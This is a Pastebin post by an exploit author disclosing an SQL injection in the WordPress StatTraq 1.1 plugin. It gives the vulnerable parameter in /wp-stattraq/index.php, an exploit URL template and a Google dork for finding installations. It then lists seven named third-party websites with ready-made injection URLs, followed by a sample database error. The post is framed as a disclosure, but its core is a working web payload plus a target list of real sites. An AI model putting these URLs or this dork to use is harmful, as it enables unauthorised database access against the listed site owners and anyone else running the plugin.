KingSkrupellos

WordPress Randy Peterman Murph StatTraq 1.1 SQL Injection

Mar 25th, 2020
424
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.22 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : WordPress Randy Peterman Murph StatTraq 1.1 SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 26/03/2020
  7. # Vendor Homepage : randypeterman.com
  8. # Software Version : 1.0 - 1.0a - 1.1
  9. # Tested On : Windows and Linux
  10. # Category : WebApps
  11. # Exploit Risk : Medium
  12. # Google Dorks : StatTraq 1.1 Maintained by Murph.
  13. StatTraq 1.0a Created by Randy Peterman.
  14. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  15. Special Elements used in an SQL Command ('SQL Injection') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ###################################################################
  21.  
  22. # Impact :
  23. ***********
  24. WordPress Randy Peterman Murph StatTraq 1.1 is prone to an SQL-injection vulnerability
  25. because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  26. Exploiting this issue could allow an attacker to compromise the application, access or
  27. modify data, or exploit latent vulnerabilities in the underlying database.
  28. A remote attacker can send a specially crafted request to the vulnerable application and
  29. execute arbitrary SQL commands in application`s database. Further exploitation of this
  30. vulnerability may result in unauthorized data manipulation.
  31. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  32.  
  33. ###################################################################
  34.  
  35. # SQL Vulnerable File :
  36. **********************
  37. /wp-stattraq/index.php
  38.  
  39. # SQL Vulnerable Parameter :
  40. ***************************
  41. ?view=page_views&time_frame=[ID-NUMBER]&year=[YEAR-NUMBER]&month=[MONTH-NUMBER]&day=[DAY-NUMBER]&hour=[HOUR-NUMBER]&minute=[MINUTE-NUMBER]&limitNumber=[SQL Injection]
  42.  
  43. # SQL Injection Exploit :
  44. **********************
  45. /wp-stattraq/index.php?view=page_views&time_frame=[ID-NUMBER]&year=[YEAR-NUMBER]&month=[MONTH-NUMBER]&day=[DAY-NUMBER]&hour=[HOUR-NUMBER]&minute=[MINUTE-NUMBER]&limitNumber=[SQL Injection]
  46.  
  47. ###################################################################
  48.  
  49. # Example Vulnerable Sites :
  50. *************************
  51. [+] lunchpail.com/fourandtwenty/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  52.  
  53. [+] squirrel-secret.com/wordpress/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  54.  
  55. [+] joonj.com/wordpress/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  56.  
  57. [+] michaelgalloy.com/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  58.  
  59. [+] vc-mindelheim.de/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  60.  
  61. [+] bloodsexcrimson.com/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  62.  
  63. [+] patron90.free.fr/wp-stattraq/index.php?view=page_views&time_frame=10&year=2005&month=06&day=21&hour=13&minute=9&limitNumber=1%27
  64.  
  65. ###################################################################
  66.  
  67. # Example SQL Database Error :
  68. ****************************
  69. Erreur de la base de données de WordPress : [You have an error in your SQL syntax; check the
  70. manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1]
  71. SELECT article_id, COUNT( line_id ) AS cnt, DATE_FORMAT(access_time,'%Y') AS year,
  72. DATE_FORMAT(access_time,'%m') AS month, DATE_FORMAT(access_time,'%d') AS day,
  73. DATE_FORMAT(access_time,'%H') AS hour, DATE_FORMAT(access_time,'%i') AS minute,
  74. DATE_FORMAT(access_time,'%Y-%m-%d %H:00') AS dd FROM wp_stattraq WHERE
  75. access_time BETWEEN '20050621000000' AND '20050621235959' AND user_agent_type=0
  76. GROUP BY article_id ORDER BY cnt DESC LIMIT 0, 1\'
  77.  
  78. ###################################################################
  79.  
  80. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  81.  
  82. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment